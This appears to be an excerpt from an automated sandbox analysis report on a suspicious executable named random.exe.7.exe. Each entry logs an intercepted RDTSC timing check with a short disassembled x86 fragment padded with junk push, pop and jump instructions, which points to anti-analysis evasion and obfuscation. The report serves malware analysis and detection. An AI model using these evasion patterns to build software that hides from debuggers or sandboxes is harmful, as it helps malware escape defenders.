Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1282FB4 second address: 1282FC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007F3EBCCB1466h 0x0000000e jns 00007F3EBCCB1466h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1288307 second address: 128831D instructions: 0x00000000 rdtsc 0x00000002 jp 00007F3EBCB3DBDCh 0x00000008 jnc 00007F3EBCB3DBD6h 0x0000000e push eax 0x0000000f push edx 0x00000010 jg 00007F3EBCB3DBD6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 128860E second address: 1288624 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3EBCCB1472h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1288624 second address: 1288628 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1288628 second address: 1288662 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a popad 0x0000000b push esi 0x0000000c pop esi 0x0000000d pop eax 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jns 00007F3EBCCB146Eh 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F3EBCCB1479h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1288662 second address: 1288666 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1288666 second address: 128866E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 128890C second address: 128893C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F3EBCB3DBE1h 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007F3EBCB3DBE0h 0x00000011 push eax 0x00000012 push edx 0x00000013 jc 00007F3EBCB3DBD6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 128771C second address: 128774A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jp 00007F3EBCCB1466h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jns 00007F3EBCCB146Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F3EBCCB1472h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 128774A second address: 128774E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 128774E second address: 128779A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F3EBCCB146Ch 0x0000000d pushad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 jmp 00007F3EBCCB146Ch 0x00000015 push eax 0x00000016 pop eax 0x00000017 popad 0x00000018 pushad 0x00000019 jmp 00007F3EBCCB1472h 0x0000001e push edx 0x0000001f pop edx 0x00000020 push ecx 0x00000021 pop ecx 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 jno 00007F3EBCCB1466h 0x0000002b jns 00007F3EBCCB1466h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1216AD0 second address: 1216AD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1292365 second address: 129238D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EBCCB1479h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007F3EBCCB1466h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 129238D second address: 12923A1 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F3EBCB3DBD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b pushad 0x0000000c popad 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12923A1 second address: 12923A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12978CD second address: 12978D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12978D1 second address: 12978ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EBCCB1478h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12965E2 second address: 12965F0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F3EBCB3DBEFh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12965F0 second address: 1296618 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3EBCCB1473h 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c pushad 0x0000000d popad 0x0000000e pop edx 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jng 00007F3EBCCB146Eh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1296618 second address: 129661E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 129661E second address: 1296624 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12968D0 second address: 12968E0 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3EBCB3DBD6h 0x00000008 jg 00007F3EBCB3DBD6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12968E0 second address: 129690D instructions: 0x00000000 rdtsc 0x00000002 jp 00007F3EBCCB146Eh 0x00000008 pushad 0x00000009 push eax 0x0000000a pop eax 0x0000000b jnc 00007F3EBCCB1466h 0x00000011 push eax 0x00000012 pop eax 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F3EBCCB146Dh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1296BF9 second address: 1296C1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F3EBCB3DBD6h 0x0000000a jmp 00007F3EBCB3DBE4h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 pop eax 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1296C1E second address: 1296C24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1296D7E second address: 1296D82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1296D82 second address: 1296D88 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1296D88 second address: 1296D99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F3EBCB3DBDBh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1296D99 second address: 1296DAF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3EBCCB146Dh 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1296DAF second address: 1296DB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 129630F second address: 1296350 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 je 00007F3EBCCB1466h 0x0000000c popad 0x0000000d jmp 00007F3EBCCB1477h 0x00000012 popad 0x00000013 ja 00007F3EBCCB1486h 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F3EBCCB1474h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 129732C second address: 1297330 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1297608 second address: 1297612 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F3EBCCB1466h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 1298F23 second address: 1298F7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push edx 0x00000007 pop edx 0x00000008 je 00007F3EBCB3DBD6h 0x0000000e popad 0x0000000f jmp 00007F3EBCB3DBE6h 0x00000014 pop esi 0x00000015 pushad 0x00000016 ja 00007F3EBCB3DBE2h 0x0000001c jmp 00007F3EBCB3DBE4h 0x00000021 pushad 0x00000022 push edx 0x00000023 pop edx 0x00000024 jg 00007F3EBCB3DBD6h 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 129D216 second address: 129D224 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 jg 00007F3EBCCB1466h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 129C1B5 second address: 129C1EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F3EBCB3DBD6h 0x0000000a popad 0x0000000b jnc 00007F3EBCB3DBE2h 0x00000011 jl 00007F3EBCB3DBF2h 0x00000017 jp 00007F3EBCB3DBDEh 0x0000001d js 00007F3EBCB3DBDEh 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 125CB0C second address: 125CB10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 125D17E second address: 125D1B1 instructions: 0x00000000 rdtsc 0x00000002 js 00007F3EBCB3DBD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b mov dword ptr [esp], esi 0x0000000e mov dword ptr [ebp+122D3D6Ah], edx 0x00000014 nop 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 jmp 00007F3EBCB3DBE9h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 125D1B1 second address: 125D1B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 125D1B6 second address: 125D1DC instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3EBCB3DBEDh 0x00000008 jmp 00007F3EBCB3DBE7h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edi 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 125D2C5 second address: 125D317 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ecx 0x00000008 jmp 00007F3EBCCB1475h 0x0000000d pop ecx 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 jmp 00007F3EBCCB1472h 0x00000017 mov eax, dword ptr [eax] 0x00000019 jmp 00007F3EBCCB146Fh 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 jnc 00007F3EBCCB1466h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 125D4F9 second address: 125D4FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 125D4FD second address: 125D566 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F3EBCCB1466h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jnp 00007F3EBCCB1478h 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 call 00007F3EBCCB1468h 0x0000001a pop edx 0x0000001b mov dword ptr [esp+04h], edx 0x0000001f add dword ptr [esp+04h], 0000001Ah 0x00000027 inc edx 0x00000028 push edx 0x00000029 ret 0x0000002a pop edx 0x0000002b ret 0x0000002c mov edi, dword ptr [ebp+122D3ABCh] 0x00000032 push 00000004h 0x00000034 sbb ecx, 6A56060Ah 0x0000003a nop 0x0000003b pushad 0x0000003c push ebx 0x0000003d pushad 0x0000003e popad 0x0000003f pop ebx 0x00000040 push edx 0x00000041 jne 00007F3EBCCB1466h 0x00000047 pop edx 0x00000048 popad 0x00000049 push eax 0x0000004a pushad 0x0000004b push eax 0x0000004c push edx 0x0000004d push ebx 0x0000004e pop ebx 0x0000004f rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 125DDAB second address: 125DE1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop ebx 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push edx 0x0000000c call 00007F3EBCB3DBD8h 0x00000011 pop edx 0x00000012 mov dword ptr [esp+04h], edx 0x00000016 add dword ptr [esp+04h], 00000019h 0x0000001e inc edx 0x0000001f push edx 0x00000020 ret 0x00000021 pop edx 0x00000022 ret 0x00000023 call 00007F3EBCB3DBDEh 0x00000028 mov ecx, ebx 0x0000002a pop edx 0x0000002b lea eax, dword ptr [ebp+12490758h] 0x00000031 push 00000000h 0x00000033 push ebp 0x00000034 call 00007F3EBCB3DBD8h 0x00000039 pop ebp 0x0000003a mov dword ptr [esp+04h], ebp 0x0000003e add dword ptr [esp+04h], 0000001Ch 0x00000046 inc ebp 0x00000047 push ebp 0x00000048 ret 0x00000049 pop ebp 0x0000004a ret 0x0000004b push eax 0x0000004c jbe 00007F3EBCB3DBE4h 0x00000052 pushad 0x00000053 push eax 0x00000054 push edx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 125DE1A second address: 125DE20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 129C73A second address: 129C73E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 129C73E second address: 129C744 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 129C744 second address: 129C751 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edx 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 129CB97 second address: 129CBA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 129CBA0 second address: 129CBA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 129CBA4 second address: 129CBAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 129CBAA second address: 129CBB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 129CBB4 second address: 129CBBF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 129F0E8 second address: 129F0EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 129F0EC second address: 129F0F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 129F207 second address: 129F214 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jl 00007F3EBCB3DBD6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12A2282 second address: 12A2299 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F3EBCCB1473h 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F3EBCCB146Bh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12A2299 second address: 12A229E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12A229E second address: 12A22B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F3EBCCB1466h 0x0000000a pop ebx 0x0000000b jne 00007F3EBCCB1468h 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 push edi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12A1B87 second address: 12A1B8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12A1B8D second address: 12A1B93 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12A1B93 second address: 12A1B99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12A1B99 second address: 12A1B9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12A5F31 second address: 12A5F39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12A5F39 second address: 12A5F40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12A568C second address: 12A56A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F3EBCB3DBD6h 0x0000000a popad 0x0000000b pushad 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pop edx 0x00000010 pushad 0x00000011 jg 00007F3EBCB3DBD6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12A56A5 second address: 12A56C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F3EBCCB1472h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12A56C4 second address: 12A56C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12A5835 second address: 12A5855 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3EBCCB147Bh 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12A5855 second address: 12A5882 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F3EBCB3DBDFh 0x0000000e pushad 0x0000000f jmp 00007F3EBCB3DBDEh 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12A5882 second address: 12A5887 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12A5887 second address: 12A5891 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F3EBCB3DBD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12A5891 second address: 12A5895 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12A5C16 second address: 12A5C1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12A5C1C second address: 12A5C26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12AA0BC second address: 12AA0DF instructions: 0x00000000 rdtsc 0x00000002 jne 00007F3EBCB3DBD6h 0x00000008 jmp 00007F3EBCB3DBE9h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12AA382 second address: 12AA398 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jmp 00007F3EBCCB146Ch 0x0000000b push edx 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12AA500 second address: 12AA50E instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3EBCB3DBD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12AA50E second address: 12AA514 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12AA514 second address: 12AA520 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jbe 00007F3EBCB3DBD6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12AA670 second address: 12AA679 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 12AA679 second address: 12AA69F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3EBCB3DBE6h 0x00000009 jmp 00007F3EBCB3DBDBh 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe.7.exe	RDTSC instruction interceptor: First address: 125D70D second address: 125D711 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
